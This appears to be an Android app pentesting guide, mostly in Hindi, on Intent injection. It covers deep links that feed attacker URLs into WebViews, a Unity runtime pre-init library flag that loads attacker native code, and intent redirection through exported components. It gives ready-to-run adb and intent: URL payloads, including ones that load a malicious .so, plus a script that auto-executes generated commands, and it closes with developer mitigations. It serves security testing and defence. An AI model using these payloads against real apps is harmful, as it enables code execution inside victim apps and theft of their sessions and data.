Intent Injection

Reading time: 14 minutes

Intent injection उन components का दुरुपयोग करता है जो attacker-controlled Intents स्वीकार करते हैं या ऐसे data को स्वीकार करते हैं जिन्हें बाद में Intents में बदला जाता है। Android app pentests के दौरान दो बहुत सामान्य पैटर्न हैं:

• exported Activities/Services/BroadcastReceivers को crafted extras पास करना, जिन्हें बाद में privileged, non-exported components को फॉरवर्ड किया जाता है।
• exported VIEW/BROWSABLE deep links को trigger करना, जो attacker-controlled URLs को internal WebViews या अन्य sensitive sinks में फॉरवर्ड करते हैं।

Deep links → WebView sink (URL parameter injection)

If an app exposes a custom scheme deep link such as:

myscheme://com.example.app/web?url=<attacker_url>

और प्राप्त करने वाली Activity url query parameter को WebView में आगे भेजती है, तो आप ऐप को उसके अपने WebView संदर्भ में मनमाना दूरस्थ सामग्री प्रदर्शित करने के लिए बाध्य कर सकते हैं।

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

• HTML/JS ऐप के WebView प्रोफ़ाइल के अंदर execute होता/होती है।
• यदि JavaScript सक्षम है (डिफ़ॉल्ट रूप से या गलत क्रम में किए गए checks के कारण), तो आप किसी भी एक्सपोज़्ड @JavascriptInterface ऑब्जेक्ट्स को सूचीबद्ध/उपयोग कर सकते हैं, WebView कुकीज़/लोकल स्टोरेज चुरा सकते हैं, और pivot कर सकते हैं।

देखें:

Webview Attacks

Order-of-checks bug enabling JavaScript

एक बार-बार मिलने वाली बग यह है कि अंतिम URL allowlist/verification खत्म होने से पहले JavaScript (या अन्य permissive WebView सेटिंग्स) सक्षम कर दिया जाता है। यदि शुरुआती helpers आपके deep link को स्वीकार कर लेते हैं और WebView पहले configure हो जाता है, तो आपका final load JavaScript पहले से enabled स्थिति में होता है भले ही बाद के checks flawed हों या बहुत देर से हों।

डिकम्पाइल किए गए कोड में क्या देखें:

• कई helpers जो URL को अलग‑अलग तरीके से parse/split/rebuild करते हैं (असंगत normalization)।
• आख़िरी host/path allowlist चेक से पहले getSettings().setJavaScriptEnabled(true) को कॉल किया गया हो।
• एक पाइपलाइन जैसे: parse → partial validate → configure WebView → final verify → loadUrl।

Mitigations

• एक बार canonicalize करके सख्ती से validate करें; fail closed रखें।
• सभी checks पास होने के बाद और trusted content लोड करने से ठीक पहले ही JavaScript सक्षम करें।
• untrusted origins को bridges expose करने से बचें।

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity-based Android apps आमतौर पर com.unity3d.player.UnityPlayerActivity (या UnityPlayerGameActivity) को entry Activity के रूप में उपयोग करती हैं। Unity का Android template एक विशेष Intent extra जिसे unity कहा जाता है, उसे Unity runtime के लिए command-line flags की तरह मानता है। जब entry Activity exported होती है (कई templates में यह default है), तो कोई भी local app — और कभी-कभी कोई वेबसाइट यदि BROWSABLE मौजूद है — यह extra प्रदान कर सकती है।

एक खतरनाक, undocumented flag बहुत प्रारंभिक process initialization के दौरान native code execution की ओर ले जा सकता है:

• Hidden flag: -xrsdk-pre-init-library <absolute-path>
• प्रभाव: dlopen(<absolute-path>, RTLD_NOW) init के बहुत प्रारंभिक चरण में चलता है, जिससे attacker-controlled ELF target app के process में उसके UID और permissions के साथ लोड हो जाता है।

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

• The Intent extra unity को Unity runtime flags में पार्स किया जाता है।
• pre-init flag प्रदान करने से Unity उस attacker-controlled ELF path की ओर इशारा करती है जो एक allowed linker namespace path के भीतर है (नीचे दी गई सीमाएँ देखें)।

Conditions for exploitation

• Unity entry Activity exported है (आमतौर पर डिफ़ॉल्ट रूप से true होता है)।
• ब्राउज़र के माध्यम से one-click remote के लिए: entry Activity android.intent.category.BROWSABLE भी घोषित करती है ताकि extras को एक intent: URL से पास किया जा सके।

Local exploitation (same device)

1. payload ELF को उस path पर रखें जिसे victim app पढ़ सके। सबसे आसान तरीका: अपनी attacker app में एक malicious library भेजें और attacker के manifest में सेट करके सुनिश्चित करें कि यह /data/app/.../lib/<abi>/ के तहत extract हो:

<application android:extractNativeLibs="true" ...>

2. पीड़ित की Unity activity को unity extra में CLI pre-init flag के साथ लॉन्च करें। उदाहरण ADB PoC:

adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"

3. Unity dlopen("/data/.../libpayload.so", RTLD_NOW) को कॉल करता है; आपका payload victim process में चलता है, इसके सभी app permissions (camera/mic/network/storage, आदि) और in-app sessions/data तक पहुँच विरासत में पाता है।

Notes

• सटीक /data/app/... path डिवाइसेस/इंस्टॉलेशनों के बीच अलग होता है। एक attacker app runtime पर अपने native lib dir को getApplicationInfo().nativeLibraryDir के द्वारा प्राप्त कर सकता है और इसे trigger को भेज सकता है।
• फ़ाइल का नाम .so पर खत्म होना जरूरी नहीं है अगर वह एक valid ELF है — dlopen() ELF headers को देखता है, extensions को नहीं।

Remote one‑click via browser (conditional) यदि Unity entry activity BROWSABLE के साथ exported हो, तो कोई वेबसाइट intent: URL के माध्यम से extras भेज सकती है:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

हालाँकि, आधुनिक Android पर dynamic linker namespaces और SELinux कई सार्वजनिक पथ (उदा., /sdcard/Download) से लोडिंग को ब्लॉक करते हैं। आप ऐसी त्रुटियाँ देखेंगे:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

बायपास रणनीति: उन ऐप्स को लक्षित करें जो attacker-controlled bytes को उनकी private storage के अंतर्गत cache करते हैं (उदा., HTTP caches)। चूंकि अनुमति दिए गए paths में /data और ऐप का private dir शामिल है, इसलिए -xrsdk-pre-init-library को ऐप के cache के अंदर किसी absolute path पर इंगित करने से linker constraints पूरे हो सकते हैं और code execution मिल सकता है। यह अन्य Android ऐप्स में पहले देखे गए cache-to-ELF RCE patterns को दर्शाता है।

अन्य क्लासिक Intent injection primitives

• startActivity/sendBroadcast का उपयोग attacker-supplied Intent extras के साथ जो बाद में re-parsed (Intent.parseUri(...)) होकर executed होते हैं।
• Exported proxy components जो बिना permission checks के Intents को non-exported sensitive components को forward करते हैं।

Exported-component परीक्षण का स्वचालन (Smali-driven ADB generation)

जब exported components विशिष्ट extras की अपेक्षा करते हैं, तो payload के आकार का अनुमान लगाना समय बर्बाद और false negatives पैदा कर सकता है। आप Smali से सीधे keys/types का पता लगाने और ready-to-run adb commands जेनरेट करने को ऑटोमेट कर सकते हैं।

Tool: APK Components Inspector

• Repo: https://github.com/thecybersandeep/apk-components-inspector
• Approach: Smali को decompile करके और getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() जैसी calls के लिए स्कैन करें ताकि यह अनुमान लगाया जा सके कि प्रत्येक component किन extras और fields का उपभोग करता है।
• Output: हर exported Activity/Service/Receiver/Provider के लिए, टूल एक संक्षिप्त व्याख्या और सही typed flags के साथ सटीक adb shell am .../cmd content ... कमांड प्रिंट करता है।

इंस्टॉल

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

उपयोग

python apk-components-inspector.py target.apk

उदाहरण आउटपुट

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras चीट शीट (type-aware flags)

• स्ट्रिंग्स: --es key value | स्ट्रिंग एरे: --esa key v1,v2
• पूर्णांक: --ei key 123 | Int array: --eia key 1,2,3
• बूलियन: --ez key true|false
• लॉन्ग्स: --el key 1234567890
• फ़्लोट्स: --ef key 1.23
• URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
• Component extra: --ecn key com.pkg/.Cls
• Null string extra: --esn key
• सामान्य फ्लैग्स: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Pro tips for Providers

• ContentProviders को agents के बिना हिट करने के लिए adb shell cmd content query|insert|update|delete ... का उपयोग करें.
• SQLi probing के लिए, जब underlying provider SQLite-backed हो तो --projection और --where (aka selection) को वैरिएट करें.

Full-pipeline ऑटोमेशन (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

सहायक स्क्रिप्ट (जुड़ी हुई पंक्तियों को मिलाता है, केवल उन पंक्तियों को निष्पादित करता है जो adb से शुरू होती हैं):

import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Run on-device: inspector Python-आधारित है और Termux या rooted फ़ोनों पर काम करता है जहाँ apktool/androguard उपलब्ध हैं।

Intent Redirection (CWE-926) – finding and exploiting

Pattern

• एक exported entry point (Activity/Service/Receiver) आने वाले Intent को पढ़ता है और source/data को validate किए बिना उसे internally या externally फॉरवर्ड कर देता है, उदाहरण के लिए:
• startActivity(getIntent())
• startActivity(intent) जहाँ intent किसी extra जैसे redirect_intent/next_intent/pending_intent या Intent.parseUri(...) से आया हो।
• action/data/component फील्ड्स पर बिना चेक के भरोसा करना; caller identity की पुष्टि न करना।

What to search in Smali/Java

• getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...) के उपयोग।
• हमलावर-प्रभावित Intents पर सीधे startActivity(...), startService(...), sendBroadcast(...) का कॉल।
• getCallingPackage()/getCallingActivity() चेक्स की कमी या कस्टम permission gates का अभाव।

ADB PoC टेम्पलेट्स

• Proxy Activity जो एक extra Intent को एक privileged internal Activity को आगे भेजती है:

adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'

• निर्यातित सर्विस जो redirect_intent parcelable का सम्मान करती है:

adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'

• Exported Receiver जो बिना validation के relay करता है:

adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask-style व्यवहार के लिए सहायक Flags

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

वास्तविक दुनिया के उदाहरण (प्रभाव अलग-अलग हो सकते हैं):

• CVE-2024-26131 (Element Android): exported flows के कारण WebView manipulation, PIN bypass और login hijack।
• CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → system-level प्रभाव।
• CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (उपयोगकर्ता इंटरैक्शन के साथ)।
• CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content।
• CVE-2021-4438 (React Native SMS User Consent)।
• CVE-2020-14116 (Xiaomi Mi Browser)।

रोकथाम (डेवलपर चेकलिस्ट)

• आने वाले Intents को सीधे आगे न भेजें; अनुमत फील्ड्स को sanitize करें और पुनः-निर्माण करें।
• जब तक आवश्यक न हो, exposure को android:exported="false" से सीमित रखें। Exported components को permissions और signatures से सुरक्षित रखें।
• कॉलर की पहचान सत्यापित करें (getCallingPackage()/getCallingActivity()), और intra-app navigation के लिए explicit Intents लागू करें।
• उपयोग से पहले action और data (scheme/host/path) दोनों को validate करें; untrusted input पर Intent.parseUri से बचें।

संदर्भ

• Android – Access to app-protected components
• Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• Demonstration video
• Automating Android App Component Testing with New APK Inspector (blog)
• APK Components Inspector – GitHub
• Google guidance on intent redirection
• OVAA vulnerable app
• Exported Service PoC APK
• Ostorlab – 100M installs image app deep dive (component summary example)
• CVE-2024-26131 – NVD
• CVE-2023-44121 – CVE.org
• CVE-2023-30728 – CVE.org
• CVE-2022-36837 – CVE.org
• CVE-2021-4438 – NVD
• CVE-2020-14116 – NVD
• CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
• Unity docs – Android custom activity command-line
• Unity Security Sept-2025-01 advisory
• HEXACON talk – Messenger one-click cache-based RCE pattern (slides)